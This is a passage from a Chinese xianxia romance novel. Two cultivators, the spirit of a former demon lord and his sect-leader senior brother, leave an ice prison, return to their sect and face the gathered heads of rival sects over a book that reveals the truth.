“哈,自混沌初开时人与妖就势不两立,现在却又联起手来,这位妖王还真是与众不同。”苗霜凉飕飕道,“他给你狐尾,就是为了让你写那些该死的话本子折腾自己?我是不是该去找他算算账,他这算助纣为虐吧?” “……是我主动向他讨的,原本我是打算用狐尾笔直接改写大道书,我想着如果大道书被改写,现实或许也会发生改变,尝试后才发现根本办不到,大道书不容更改,就算我拼尽全力把字写上去,也存留不下来。” “后来我一怒之下想要直接毁掉它……当然,还是失败了,却意外发现空白的书页可以撕下,以狐尾笔在上面书写成篇,就能创造出一个芥子世界来。” “修真界的历史能轻易被你改了还了得?”苗霜感觉他是疯了,自己当魔尊的时候都没他疯,至少他不会觉得自己能改写大道书,“然后你就开始折磨自己玩?那你为何又要封住自己的记忆?” 在芥子世界里,他一直以为祁雁失忆是意外,现在想来,恐怕不是意外而是人为,除了祁雁自己,也没人能封得了他的记忆,让他遗忘得如此彻底,甚至在他告诉他祁雁将军、鸣川师兄以及泊雁仙尊都是同一个人时,他也依然没能想起来。 祁雁不敢看他,低声道:“我只是想试试。” “试什么?” “试试在完全不知缘由的情况下,被迫承受来自整个世界的恶意,究竟是什么样的一种感觉。” 苗霜:“……” 他一时愣住了,愣了好几秒,才用难以置信的眼神看向祁雁。 他万万没想到竟然是这样的理由。 祁雁在复刻他作为魔尊时的经历。 那时的苗霜被魔气侵蚀太久,记忆早变得支离破碎,他已经想不起来自己为什么要当魔尊,为什么要与修真界为敌,一次又一次击退前来讨伐他的正道修士后,他也曾疑惑过,自己分明待在万魔峰闭门不出,这些人为什么还不肯放过他,他究竟做错了什么,要被这般针对。 他轻轻扯了下嘴角,不知该哭还是该笑:“你真是……” “但我没想到你也会进入芥子世界,”祁雁又说,“其实你进去之后不久,我的本体就感觉到了,可大道书一旦落成就不容更改,哪怕是我自己创造的世界,我也只能眼睁睁看着它按照既定的轨迹运行下去,无法干涉。” “那后来为什么结局又被改写了?” “我不知道,”祁雁摇了摇头,“或许是你的意志太强,才能完成逆天行道。” 苗霜不知道该说什么。 不过他终于明白了,那个失去一切的结局是祁雁为自己量身定做的,而他脑中所谓的“原著”,大概率是他记忆错乱幻想出来的,在他的潜意识中,依然觉得自己是弃子,而祁雁该站在那众生之巅。 两道意志相互冲击,最终的结果竟是负负得正,阴差阳错得到了一个相对完满的结局。 这还真是…… 祁雁十分愧疚地看着他:“对不起。” 苗霜回过神来:“好端端的又道什么歉?” “如果我没有自封记忆,就不会做出那么多不该做的事,就算不能提前把神魂分|身召回,也至少能对你好一些。” “我不是也没对你好吗?”苗霜挑了下眉,“跟你互相折磨的滋味也不错,更何况,你要是有记忆,我还怎么欣赏你自己吃自己的醋?” 祁雁:“…………” 一提到这个话题,祁雁瞬间不吭声了,苗霜却偏偏不肯放过他,拿腔作调道:“泊雁仙尊是谁?忘了他,我才是你的夫君!” 祁雁唇角抿直,整个人肉眼可见地僵硬起来,苗霜又伸手去掐他的下颌:“就算要做替身,也该是他做朕的替身!” 祁雁下意识地低头,然后才想起来苗霜根本碰不到他,情不自禁地配合让他更加恼羞成怒,急忙别过脸去,疯狂运转体内灵力,压下耳根快要烧起来的热意。 苗霜肆无忌惮地在旁边嘲笑他,看着他那张一本正经的冷峻面容,再想想他顶着这张脸说出过什么话,笑得腰都快直不起来了。 祁雁面无表情地看着他笑了足足五分钟,冷声道:“笑够了没?” 苗霜擦了擦眼角并不存在的眼泪,决定暂时放过他,下次再笑:“所以,咱们是不是该赶紧离开这鬼地方?你在这待了一千年,修真界你不管了?青锋派也不要了?” “我不在时,派内自有人代理掌门事务,门内弟子只当我在闭关。”祁雁道。 不过,也的确是该离开了。 与世隔绝地待了这一千年,已不知修真界变成了什么样子,彼时他为了留下苗霜的神魂,算是把各大仙门得罪了一个遍,后来又把自己关在冰牢里闭关至今,这冰牢除了他自己没人能劈开,但青锋山就不一定了。 如果各大仙门联合起来讨伐青锋派,他又不在派中坐镇,青锋派很可能已经遇险。 但他当时实在没心情顾及这些,甚至到了现在也没有多么迫切。 青锋派立派至今近万年,如果只是因为他不在派中就能被灭,那也的确没什么继续存在的必要了。 曾经他也想以一己之力肩负所有,庇佑天下苍生,可苗霜身死之时,他的心境已然变了。 在守护好枕边人之前,他不会再去管其他。 “到我身边来。”他道。 苗霜来到他身侧,一道白光将他护住,紧接着周遭的冰壁开始断裂,裂隙自下而上迅速蔓延,很快贯穿整座冰川,便听轰地一响,厚重的坚冰猛地炸开,碎为齑粉。 漫天冰屑纷纷而落,在阳光下折射出一道彩虹,骤然明亮起来的视野让苗霜颇为不适应,眯着眼睛看了一会儿,竟没认出这里是他的万魔峰。 记忆中的万魔峰常年毒瘴蔽日,阴森又潮湿,鲜少能见到太阳,他从没见过这么蓝的天,从没呼吸过这么干净的空气。 先前他和祁雁一战,已经彻底改变了这里的地貌,万魔峰被夷为平地,天露池不见踪影,横亘于此的冰川阻拦了魔气的渗透,一千年过去,魔气竟没再次聚集。 但他深知魔气并不会消失,不汇聚在此,那就会散到天地各处,修真界的状况只怕更加不容乐观了,青锋派也没有选出下一任以身镇魔的弟子,不知道接下来该如何处理。 反正和他无关。 他都已经只剩个魂儿了,还替正道修士们考虑那些? 正想着,他忽然发现前方不远处的地面上有什么东西在微微发亮,他走……或者说飘上前去,发现那竟是一截断剑。 是剑尖的那一端,没什么太过明显的特征,但苗霜看着眼熟,视野又向四下搜寻,果不其然,很快发现了另外一半。 是祁雁的剑。 千年前祁雁在此折剑,断剑被封进冰牢之中,而今冰川消融,这剑又重新显露出来。 可惜了。 苗霜蹲下身,他触碰不到现世的东西,也碰不到这把剑,上面早已不见当年血迹,不知是不是剑断了的缘故,昔日雪亮的剑锋而今看上去有些发乌,十分陈旧了。 “你就这么把它毁了,不心疼吗?”他问,“剑是无辜的,而且我没记错的话,它跟了你这么久,已经生出灵智了吧?剑一断,剑灵也散了。” 祁雁来到他跟前,看着地上的断剑,神色有些复杂,许久才微不可闻地叹了口气:“剑灵……还在。” “还在?”苗霜疑惑地又仔细感应了一下,的确没感应到剑灵的痕迹,“在哪儿?” “嗯……” “嗯?” 正说着,苗霜忽然感觉哪里奇怪,似乎有什么东西在他袖子里蛄蛹,可他现在只是魂体,衣服都是幻化来的,怎么可能会有其他活物? 他低头看了一眼,只见一颗白色的小脑袋从袖口拱出,不禁一怔:“小白?” 这白蛇……明明是芥子世界里的东西吧! 怎么还跟着他出来了? 不对,这白蛇身上明明没有其他生物的气息,也是魂体状态,而且气息相当熟悉,貌似就是他自己的神魂。 这白蛇是他神魂的一部分? 白蛇爬到他手腕上,探头望着地上的断剑,吐了吐信子,小豆眼中流露出十足的茫然,似乎在疑惑自己究竟是什么物种。 它慢慢将身体抻直,幻化成一把剑,顿了一下又变成蛇,几经变换,最后拧成了一团麻花,晕头转向地挂在苗霜手腕上。 苗霜看着它这蠢样子,又转头看向支支吾吾的祁雁,神色怪异道:“解释一下?” 祁雁叹口气,只得开口:“当年你神魂碎尽,我用仙术为你修补,却没发现剑灵也被我封在了冰牢结界当中,修补时不小心将它揉了进来。” “哈?”苗霜眉头一跳,“你把剑灵砌进我的神魂里来了?你动手的时候就没发现哪里不对吗?” “后来……是发现了的,但你的神魂碎得太厉害,一些太过细小的碎片已经消散,加上剑灵刚好能补完整,若是再剔除只怕会出岔子,所以……” 祁雁顿了顿,又道:“不过你放心,剑灵乃天地灵气所化,至净至纯,不会对你的神魂造成什么影响。” 苗霜和腕上的白蛇大眼瞪小眼——他死在剑下,剑灵又帮他补完神魂,带给他痛苦的东西终究成就了他,就好比噬咬他的蛊王让他成为大巫。 他伸手摸了摸白蛇的脑袋,别说,这神魂还真能摸到,小白也陪了他几十年,离开芥子世界时,他确实有些不舍。 “还能再分离出来吗?”他问。 “应该可以,不过可能会有些痛苦,而且需要你神魂状态足够稳定,”祁雁一招手,将地上的断剑收进储物法宝,“等回青锋派再说吧。” 苗霜自然没有意见,他逗弄着腕上的白蛇:“怪不得你总是和他亲近,他都把你折了,你还向着他?你这剑未免也太忠心了吧?” 白蛇:“……” 有没可能,它刚刚才想起来自己是剑灵? 明明是大巫自己心有所属才会影响到蛊王,欺负它不会口吐人言,无法反驳。 白蛇嘶嘶吐着信子,缩回他袖中。 祁雁招出飞行法宝,对苗霜道:“我们回家吧,小霜。” 第156章 道心 我要有他的苍生。 苗霜盯着那柄玉如意看了半晌:“我记得你以前不都御剑吗?” “剑……断了。” “身为剑修, 难道就没有备用的?” 祁雁摇了摇头。 无奈,苗霜只得站了上去——还好这法宝能承载他,不然他要变成地缚灵了。 祁雁也跟上来, 伸手一拂,浅白的光罩将他们护住, 他催动灵力注入法宝,玉如意迅速升空, 一念之间已驶出千里。 有结界保护,即便如此高速行驶,光罩内部也没有一丝风,苗霜俯瞰着大地,只觉这修真界的一草一木都变得如此陌生,或许,从来也不曾熟悉过。 他在万魔峰画地为牢一千七百年,几乎没怎么出去过,只有和祁雁交战时才会寻一处开阔的空间, 但都忙着交战了,哪还有心思赏景。 不知是不是魔域被毁的缘故, 总觉得脚下的风景并没他想得那么秀丽,他坐在如意头部,问祁雁道:“这历史遗留问题,你打算如何处理?” “我自有办法,师弟好生休养,无需再为这些事劳神费力了。” 师弟…… 许久不曾听到祁雁这般称呼他, 苗霜微微怔住,他抬头看向那道白衣的身影,恍惚间觉得自己又回到了两千七百年前, 回到他们刚刚拜入青锋派的时候。 修真界数十年如一日,诸般过往历历在目,似乎过去很久了,又好像还在昨天。 既然祁雁这么说了,那他就也不再问,继续眺望远方。 很快他们就回到了青锋派所在之地,可苗霜左看右看,竟没发现青锋山的踪影。 那座直插天际的巍峨雪山居然就这么凭空消失了,据说这山乃青冥君所开,夺天地之造化,山体并非立于地面,而是悬于虚空,山脚最后一块石头距离大地也有九十九丈远,普通人根本上不去,山巅有万仞之高,直穿云海,立足其上,手可摘月。 “青锋派传到你这一代,终于是让你给玩完了,”苗霜抱着胳膊,看热闹不嫌事大地说,“一千年没回来,青锋派该不会已经灭门了吧?连山都被人夷为平地了?” 祁雁皱了皱眉,觉得这事实在匪夷所思,他记得当年和各派掌门对峙时,惊霆刀的项掌门说自己突破到了炼虚初期,那应该是修真界除了他和苗霜以外修为最高的人,以一己之力灭了青锋派满门倒是不难,可若是要把青冥君开辟出的青锋山都轰成渣的话,却是不太可能。 他御着玉如意又往前飞近一些,忽然目光一凝:“不对。” 祁雁单手掐剑诀,吟念咒令:“通微洞见,妖魔显形——破!” 随着他的话音,远处白光一闪,天地自上而下撕裂开一道口子,仿佛被无形的剑锋劈开,一双硕大的金棕色竖瞳缓缓在裂隙中张开,滔天妖气倾泻而出。 看见这双眼睛,苗霜一下子认出了那是谁。 妖王? 不过这妖气还是弱了些,应该不是妖王本体,只是一道神识而已。 果不其然,遮天蔽日的白狐虚影自裂隙中跃出,张开大嘴,先伸了个昂首翘臀的懒腰,九条……不,八条尾巴无风自动,它抖了抖毛,看向祁雁:“一千年了,汝总算回来了,吾在此地镇守已久,已等烦了。” 那声音层层叠叠,似幼童,似少年,似青年又似老者,一时让人听不清究竟年纪几何。 最终归于一道和瑞王季澜极像的声音:“汝既归来,那吾这便走了。” 苗霜仰头看着那只巨大的狐狸:“狐绥,果然是你。” “哎呀,这不是白发赤魔吗,”妖王狐绥自天际跃下,来到他跟前,体型化作寻常狐狸大小,“看来仙尊所谋之事已成,吾提前为仙尊道贺了。” “多谢妖王相助,”祁雁道,“不过,你为何在此地?” “自然是帮汝护住那座青锋山,以及山上弟子,有吾的幻术遮蔽空间,无人能打进来,”狐狸虚影绕着他们飞了一圈,“你们人族最是狡诈,若青锋派被毁,汝怪罪于吾,不肯兑现承诺,吾得不偿失,不如就尽这举爪之劳,替你抵挡分毫。” 祁雁:“……” 苗霜一挑眉梢。 真稀罕,居然被狐狸骂狡诈了。 祁雁叹口气:“在妖王眼中,我是那种背信弃义之人?罢了,就当本座再欠你一个人情,待此间事了,必登门拜谢。” “仙尊出关之事,修真界各大门派想必已知晓了,吾幻术已破,青锋山再度现世,足以让仙道震动,众仙门不日便至,望仙尊早作准备,保重。” 说完,狐狸虚影便在他们眼前散去,妖气渐渐消失,妖王的神识已然离去。 苗霜扭头看向祁雁:“你答应了他什么?” “不算什么要紧事,很快你就会知道了,”祁雁道,“我们先回派中看看。” 幻术消失,整座青锋山再次出现在视野当中,一点点变得清晰起来,祁雁御着玉如意飞进云海,停泊在供飞行法宝起落的平台上。 青锋派避世一千年,而今幻术封锁终于消失,派内弟子几乎在瞬间激动起来,不约而同地向平台聚集。 青锋山上有护山大阵,非本派弟子不得入内,既然有人能在不触发护山大阵的情况下进入青锋山,那就说明来人一定是自己人。 眼尖的弟子一眼便认出了,激动大喊:“是掌门!是掌门回来了!” “什么?掌门出关了?!” 消息一传十十传百,不多时便传遍了整个门派,代掌门迅速赶到,他将祁雁上下打量一遍,几乎不敢相信自己的眼睛:“师祖?真的是您?!” 苗霜看了看这位年轻的代掌门,又看了看祁雁。 两千多年过去,都当上师祖了。 祁雁微微颔首,这时,代掌门看到从他身后走出的苗霜,神色突然一僵。 “白发赤魔?!”代掌门神色大骇,“师祖,这是何意?” 苗霜虽是魂体,但大家都是修仙的,自然能看到他,他并没想隐瞒自己的存在,祁雁也没有这个意思,他便大摇大摆地出现在了众人面前。 他的视线扫过弟子们一张张或惊恐或震怒的脸,许久不曾回来了,这派中已经全是生面孔。 “白发赤魔?真的是白发赤魔?”弟子们难以置信,“他不是已经死了吗,怎么又活了?!” “你看我现在的样子像是活着吗?”苗霜飘到他跟前,笑吟吟道,“我看你资质不错,我吃了你,兴许就能活过来呢。” 那弟子吓得脸都白了,大叫出声:“啊啊啊啊啊啊!!” “……师弟,”祁雁有些无奈,“回来。” 苗霜不情不愿地飘回他身边,阴阳怪气道:“这就护短了?吃你几个徒子徒孙都不行?” “别闹了,”祁雁叹气,“我可从没听说过白发赤魔会吃人。” “生前不吃,难道死后还不能吃?” “他们修为太低,吃了也没什么用,你若有需求,不妨直接来找我。” “嘁,”苗霜趴在他肩头,对他低声耳语,“当着你徒子徒孙的面吃了你这个师祖?别说,我还真有些兴趣。” 他开始琢磨从哪里下嘴会比较好啃,而一众围观的弟子们已经吓得魂儿都要飞了,结结巴巴道:“他他他……他已经死了?那他现在是什么东西,鬼鬼鬼吗?!” “是神魂吧,”有个还算镇定的弟子咽了口唾沫,“早就听闻掌门当年不惜与整个修真界为敌,也要保下魔尊的尸骨,复活他的神魂,没想到竟是真的。” “这算什么啊……”有嫉恶如仇的弟子攥紧拳头,不畏死地看向祁雁,“掌门!两千年来,大家始终敬你畏你,把您当做仙途之上穷尽此生追逐的榜样!可你为何背叛仙道,与这魔头有染?!难道您忘了,那些魔修是如何残害仙门修士,青锋派又有多少弟子死在他们手中?!” 祁雁平静地看向他:“本座不曾忘,正因如此,你们才更该感谢他。” “……什么?” 代掌门神色怪异地看向苗霜:“师祖您刚刚……唤他什么?‘师弟’?” “不错,论辈分,你该尊称他一声师叔祖,”祁雁将一样东西向他丢来,“可认得此物?” “大道书?”代掌门愕然道,“先前我翻遍派内仙宝阁也没找到它,原来是被您拿走了?” “看看吧,同派内所有弟子一起,看完大道书,你们心中的疑惑自会得到解答。” 祁雁说完就不再理会他们,低声对苗霜道:“我要去后山寻师尊,你可要和我一起?” “唔,”苗霜兴致缺缺,“你自己去吧,许久没回来,我想在门派里转转。” “……也罢,”祁雁并不强迫他,只将一道护身法术落在他身上,“那你自己小心。” 他说罢转身离开,苗霜看着他的背影,垂下眼帘。 师尊还活着啊。 以前他也曾无数次幻想过,若是再见到师尊,自己会如何做。 他恨那个收他为徒,又毫不留情将他选做弃子的人,恨到想将他千刀万剐,可如今真回来了,却又不愿再见到他。 时间当真是世间最可怕的东西,竟连刻骨的恨意也能消磨,他甚至已不太能记起那个人的脸,“师尊”二字,仿佛已化作纸页上单薄的文字,一个带有一些含义的符号,仅此而已。 苗霜仰起头,看向飘浮在半空中的金光,大道书上的文字被投射出来,所有人都看得清清楚楚。 耳边传来弟子们的窃窃私语:“他真的是……青锋派弟子?” “所有的魔尊都是青锋派弟子,包括青冥君……这是真的吗?” “大道书不会有假,而且刚刚他们进来时,护山大阵都没启动,除了本门弟子,再没第二种可能。” “天哪……这怎么可能……” “信息量太大了,我要消化一下。” “所以,这就是掌门这么多年来始终不收亲传弟子的原因?下一任魔尊必定从亲传弟子中诞生,这……” “我记得上次还有人为争一个自封的亲传弟子虚名大打出手来着,我说,现在你们还争吗?” “啊这……” * 祁雁寻着一条山间小径,来到积雪覆盖的后山。 相比门内弟子聚集的前山,后山显得冷清许多,这里终年背离阳光照耀,寒冷异常。 此处是历代掌门埋骨之所。 自青冥君开创青冥心诀至今已近万年,修真界却无一人顺利得道飞升,人们只道是大道未成,却无人怀疑心法本身,毕竟除了青锋派掌门,也无人知道“青冥君破碎虚空而去”只是人为编造的谎言。 青锋派每每选出新任掌门,前任掌门的寿数就也快走到尽头,他们往往会在后山寻一间石室,闭关冲击境界瓶颈,成则破关而出,寿元再续个千百年,败则止步于此,悄然殒落。 祁雁来到师尊闭关的石室。 纵然每天都有弟子前来打扫,通往石室的路还是被积雪掩埋了大半,他能感觉得到,那人的气息相较千年前又衰败了不少,犹如即将燃尽的香烛。 靴子将积雪踩出吱嘎之声,他在石室门前驻足,一门之隔,里面白发苍苍的老者睁开双目。 他混浊的眼球已快不能视物,昔日仙风道骨的青锋派掌门,生命即将走到尽头时,也不过老态龙钟,与凡夫俗子无甚差别。 “鸣川回来了,”他苍老的声音微微发颤,不知是高兴还是畏惧,“把落晚也带回来了?” “你竟还记得他的名字,我以为,你早将他忘了。” “你二人都是我引以为傲的弟子,为师怎会忘。” “引以为傲?他也是吗?” “落晚以身镇魔,将魔众约束在万魔峰一千七百年,若非如此,修真界恐早已沦陷,赤子之心,怎可让为师不以他为傲?” “是吗,”祁雁低声笑了,“那你可曾想过,以身镇魔或许非他所愿?” 老者长叹一声:“为了天下苍生,总要有人牺牲,青锋派自古如此,既择此道,便应九死无悔。” “既得利益者,似乎无权代表牺牲者,”祁雁冷淡道,“若师尊当年和落晚一样是弃子,还能如此毫无怨言地说自己一心向道吗?” “……”老者沉默了下,“所以,鸣川今日来,是为兴师问罪?” 他的声音仿佛比之前更加苍老:“收你为徒那日,我便知此子与众不同,你或许是第二个青冥君,若弑师是你证道路上不可或缺的一环,那便来吧,为师寿元将尽,还能为你燃作柴薪,也死而无憾了。” 祁雁不答,只沉默地看着那道门缝。 “我知你恨我,恨我选择你而放弃落晚,但为师不悔,若再来一次,为师依然会这么选。” 老者闭上双眼:“我已在此等候你许久,鸣川,动手吧。” “你搞错了,师尊,”祁雁低沉的嗓音平静一如既往,“我并不恨你,不恨任何人,我只恨我自己护不住落晚师弟,我也并非要弑师证道,只是,总要有人给落晚一个交代。” “这一切该结束了,由青锋派造就的一切,也该由青锋派来终结,既然历代掌门都不愿意这么做,那便由我来。” “师尊,感谢您一直以来对我的栽培和教诲,从今往后,不会再有第二个落晚,也不会再有第二个鸣川。” 他说着转过身,向来时的路走去,他听到师尊微不可闻的叹息,最后问他:“这一次,你可寻到真正属于自己的道了?” 祁雁脚步不停:“当然。” 冰凌在石室内蔓生,迅速长满每一寸空间,最终自门缝溢出。 “我要有他的苍生。” 第157章 苍生 大道万种只择其一,弱水三千唯取…… 青锋派避世千年再度现世的消息不胫而走, 瞬间惊动了整个修真界,不消半日,各派掌门纷纷出山, 在青锋山外聚集。 无数飞行法宝将青锋山团团围住,若非有护山大阵, 只怕他们已经闯进来了,弟子们大惊失色, 急急忙忙去禀告掌门。 祁雁才从后山回来,就听到各大门派来袭的消息,他并没表现出意外,只微微颔首,平淡道:“我知晓了,此事我会处理,无需惊慌,都去修炼吧。” 这一句话像是给弟子们吃下一颗定心丸,没有什么能比仙道第一在派中镇守更令人有底气, 虽然避世一千年,弟子们也不知道他们的掌门还是不是仙道第一, 但他们愿意相信他。 祁雁转身欲走,忽然有弟子叫住他:“掌门,大道书上的内容都是真的吗?” 祁雁顿住脚步:“无从作假。” “那我们岂不是……一直以来都冤枉魔尊了?” “可他残害我们仙门弟子是事实啊!”另一个弟子道。 “就算是这样,可如果没有他,魔修愈发猖狂,岂不是会有更多仙门弟子受害?” “话怎么能这么说?众生平等, 怎可以数量论处?” “不错,众生平等,”祁雁看向最后开口的弟子, “那么,何为‘众生’?” 那弟子愣了一下:“众生……就是天下生灵,世间生命,皆为众生。” “凡天下生灵皆为众生,”祁雁点点头,“那我仙门修士是众生,魔修难道不算众生?二者皆为人族,可应一视同仁?” “这……这怎么能一视同仁?魔修残暴嗜血,以虐杀生灵为乐,为祸世间,若我们原谅他们,那谁又来庇佑无辜者?” 祁雁:“可残暴是否为他们本性?落晚师弟本以医入道,医者仁心,我们这些剑修哪个敢自诩比医者更有救苦济难之心?只因其心性至善至纯,而被选中以身镇魔,日日忍受魔气腐蚀,受诸般恶念侵扰,以至灵台失守狂性大发,失手伤害仙门修士,这份罪孽,可该由他承受?” “这……这……” “天下魔气皆因青冥心诀而起,乃所有仙门修士修炼时排除的恶念混杂而成,这些魔气使人入魔,我们每一个修仙者是否都有责任?被魔修所杀,是否也算是前日因种下今日果?究竟谁为对,谁为错?而创造出青冥心诀的青冥君,是否算是一切的源头,救世之人,亦是祸世之人?” “这……”那弟子低下头去,竟被说得面红耳赤,“弟子不知。” “我仙门众人本该同心一体,合力抵抗外敌,可如今各派围困我青锋山,来势汹汹,绝非善意,我们是该引颈受戮,还是该拼死抵抗?” “当然要杀回去!”一个弟子高声道,“我们又没做错什么,凭什么要任由他们宰割?” “可本座为护住师弟神魂而与各派为敌,又有妖王以幻术助青锋派避世千年,在各派看来,我们已然是妖族和魔修的同谋了。现在你们有两条路可走,第一,把我交出去,和我划清干系,并杀了那妖王,向仙道各派表明立场。” 还不等他说“第二”,已有弟子开口:“掌门您在说什么,您是我们的掌门,没有您的庇佑,青锋派哪来今天!那妖王……那妖王也是在帮我们,如果没有他的幻术,我们青锋派早在一千年前就要被踏平了啊!” “就是,您护住魔尊的神魂也是事出有因,要么……我们向各派解释清楚呢?在他们了解事情真相以后,也许会理解我们。” 另一个弟子反驳道:“你也太天真了,你难道没看大道书里的内容吗?一千年前掌门想以缚魔大阵困住魔尊,是九棋谷牵头向魔域发起讨伐,各派纷纷响应,而他们的理由不过是怕掌门破碎虚空以后没人再约束魔尊,那惊霆刀门的项老怪甚至想趁机杀了掌门,自己当这仙道第一……说到底,他们只是想得到掌门的庇佑罢了。” “怎么这样……我们又没惹过他们……” 祁雁看着议论纷纷的弟子们,微微一笑:“这世间本就没有什么非黑即白,并非所有的同族都值得信任,亦非所有的敌人都心存歹念,与人族厮杀万年的妖族也会向我们施以援手,而同为仙门修士,我们亦会遭到来自己方阵营的背叛。” 苗霜趴在房顶上晒太阳,闻言懒洋洋地睁开一只眼,心说这话怎么这么耳熟呢,总觉得好像是自己说过的。 “你们从踏入青锋派的第一天起,就在学习何为苍生,何为苍生道,或许有人告诉过你们,凡我族类万众一心,当佑之,非我族类其心必异,当杀之,我初入仙途,觉得此言并无不妥,可随着修为渐长,境界突飞猛进,我开始思考一个问题,我为人,我所佑苍生自为人族,我若为妖,我所佑苍生便为妖族,那么我若为天道,我所佑苍生究竟为何?” “人人都想修成大道,得道飞升,可究竟如何证道?为何修真界千万年来无一人成功飞升,就连仙道天才青冥君也以身镇魔,悄然殒落,究竟是我们道心不坚,还是囿于一隅,坐井观天,无法跳出局限之外?” “苍生之道,从不该是党同伐异,纵然得一时强盛,但合久必分,物极必反,就如这青冥心诀,迟早迎来反噬的一天。境界越高,越应当抑强扶弱,不论弱者为人又或为妖。损不足以奉有余,人之道,损有余而补不足,乃天之道。得天之道,方得证道。” “大道万种只择其一,弱水三千唯取一瓢,即便你我所修皆为苍生道,亦会因不同的选择走向不同的结果,望我青锋派弟子都能寻得己道,以证天道。” 弟子们或低头沉思,或交头接耳,似是若有所悟。 苗霜看着那个被弟子们簇拥的人,明显感觉到他有哪里和以前不同了,曾经的鸣川师兄虽也一心向道,却又好像缺少一些什么,修苍生道对他而言不过是随波逐流,而现在,他似乎已勘破道心,真正寻到了属于自己的道。 红尘里走了一遭,也不算全无收获。 弟子们渐渐散去,苗霜飘到祁雁身边:“大敌当前,你还有闲心情在这里传道授业。” “放心好了,他们进不来,”祁雁丝毫不慌,“一千年前我让他们等我完成诸天缚魔阵,他们不肯等,现在,他们不等也得等。” 苗霜挑了挑眉:“你那阵法当真有用?就算你真能用它把我困住,也不过是权宜之计罢了,除了杀死我,你根本消除不了我身上的魔气。” “不试试看又怎么知道?”祁雁看向他,“一时做不到,还有一世,我说要救你,就一定会救。” “可若顺应天命,我早该是个死人,你这般逆天行道强行保我,还好意思教弟子们顺应天道?自己不觉得奇怪吗?” “你又怎知身死道消是你的结局?逆天行道的不是我,而是万千借青冥心诀平步青云的修真者,我这么做,不过是在让一切回归正轨。” “……”苗霜居然有点被他说服了,“你修道靠的是嘴?” “靠的是心,”祁雁道,“现在我要去会会远道而来的各派掌门,师弟可要与我同往?” 第158章 对峙 此人远在天边,近在眼前。…… “当然, 万一你一去不返,那可就是最后一面了。”苗霜揶揄道。 “师弟就对我这么没信心?怎知一去不返的是我,而不是各派掌门?” 苗霜耸了耸肩:“那我拭目以待。” 祁雁一指腰间玉佩:“你暂且进来, 等下人多眼杂,我怕来不及护你。” 这玉佩是一枚储物法宝, 里面应该还存了不少其他东西,不过并不是所有的储物法宝都能储纳神魂, 祁雁的这一枚在法宝中也算顶尖了。 青锋派家大业大,一枚看似平平无奇的玉佩都是天品法宝,若非仙门各派合力,还真打不下来。 苗霜钻进了玉佩,里面空间不小,倒是宽敞,趁祁雁离山的功夫,他在这储物空间里随便翻看了起来,发现了那三千页撕下来的大道书, 某人的断剑,还有一些杂七杂八的秘籍。 除了剑道秘籍, 最多的竟是阵法,他还发现了一份诸天缚魔阵的复原本,那阵图复杂得看着就让人脑壳疼,里面还夹着一张原件,竟然损毁得只剩下一角。 苗霜气笑了,心道怪不得祁雁用了一千多年才将它复原完成, 只剩下一角的阵图,和没有有什么区别。 祁雁御着那柄玉如意,穿过青锋山外缭绕的云海, 数不清的仙舟法宝已在此聚集,密密麻麻,一眼望不到尽头。 他粗略扫了一眼,各大门派几乎都到齐了,无数双眼睛盯着他,气氛剑拔弩张。 玉如意向最大的那艘仙舟飞去,祁雁足尖在虚空中轻踏,人已落上甲板,好整以暇地开口道:“借九棋谷仙舟一用,莫掌门应该不介意吧?” 一位白发苍苍的老者被弟子们搀扶着从船舱里出来,他身形佝偻,撑着一把竹杖,比千年前万魔峰对峙时又苍老了许多。 他咳嗽两声,有些吃力地开口道:“仙尊不请自来,却也没给老朽拒绝的机会。” 他们九棋谷演算天道,为天执棋,单论斗法却并不见长,万魔峰一战,他因避让不及而被祁雁的剑气所伤,那剑气寒意凛然,损伤他的经脉,竟难以祛除,千年过去,他的修为再没有半点进境,寿元已将耗尽了。 他最得意的弟子也在那场交锋中身殒,现在,整个九棋谷后继无人。 “不请自来?”祁雁淡淡看向他,“莫掌门这话是在说自己?诸位掌门造访我青锋派,来势汹汹,可有经过本座同意?” “泊雁仙尊!”一个体型健硕的修士提着刀跃上仙舟,正是惊霆刀门的项掌门,“那妖王狐绥以幻术隐去青锋山,而今你回来了他才离开,你还有何话讲?!你这个人族的叛徒,竟与妖王合谋!” “泊雁仙尊把自己关在冰牢里一千年,现在又突然肯回来了,该不会是真的复活了白发赤魔的神魂吧?” 修士们纷纷落上仙舟,无数道视线将祁雁打量了一遍又一遍,似在探寻,又似在提防。 苗霜感觉到自己栖身的玉佩都要被盯碎了,不过,有祁雁的仙术在,这帮家伙可没那么容易发现他。 “是又如何,不是又如何?”祁雁微微一哂,“本座今日来,并非要跟诸位了结新仇旧怨,而是要给各位掌门看一样东西。” 他说着拿出刚从代掌门手里收回的大道书,掌心轻轻拂过书页,上面的字迹便如泼墨一般投映在虚空中,如长河蜿蜒展开。 各派掌门看完上面的文字,皆是大惊失色:“这、这怎么可能?!” “祁雁!”项掌门勃然大怒,猛地拔出背后已经没了骨环的刀,“休要在这里妖言惑众!你私会魔尊、勾结妖王已是板上钉钉的事实!就算你说得再怎么天花乱坠,也改变不了你是仙门的叛徒!” “可如果这书里的内容是真的,魔修真是因为我们修炼青冥心诀而诞生,那……那我们每个人,岂不是都要为此承担一份责任?”孤云阁的掌门道。 “说起来,那白发赤魔在位的一千七百年间,魔修好像的确没以前猖狂,我们万剑宗虽也以剑入道,却更善铸剑,修为嘛比起青锋剑派确实差了些,之前都被魔修打到家门口来了,不得不弃了宗门旧址令择他处,但白发赤魔上位以后,魔修不知为何收缩了领地,我们才能再把旧址捡回来。” 其他几个小门派的掌门也纷纷点头附和,其中一人道:“据说大道书乃天地灵气幻化而成,做不得假,但此物几千年来一直保存在青锋派内,这泊雁仙尊又是青锋派的掌门……依我看,我们还是再仔细验看一番为妙。” 话音刚落,祁雁已将大道书向他丢来:“诸位请随意,大道书水火不侵,刀枪不入,没有任何一个人能修改上面的记载,我也不例外。” 几个门派的掌门凑在一起,认真翻阅起了大道书,而项掌门脸上的肌肉微微抽搐,死死瞪着祁雁:“就算此物是真又如何?那姓苗的既已堕入魔道,就已不再是你的师弟!魔修都该杀,哪怕是你青锋派弟子也不例外!” “项掌门误会了,我方才已经说过,本座今日来,并不为魔尊之事。” 祁雁说着走向一侧船舷,从这悬停于高空的仙舟之上眺望远方:“诸位掌门难道就没发现,这一千年来,修真界的灵气愈发混浊了?千年前我曾以冰牢填平天露池,强行改变了那里的地貌,和万魔峰不同,我的仙法隔绝空间,灵气触冰壁而回,绝无可能在附近聚集,又无魔尊逆练青冥心诀吸纳魔气,那么这些魔气,此刻散于何处?” 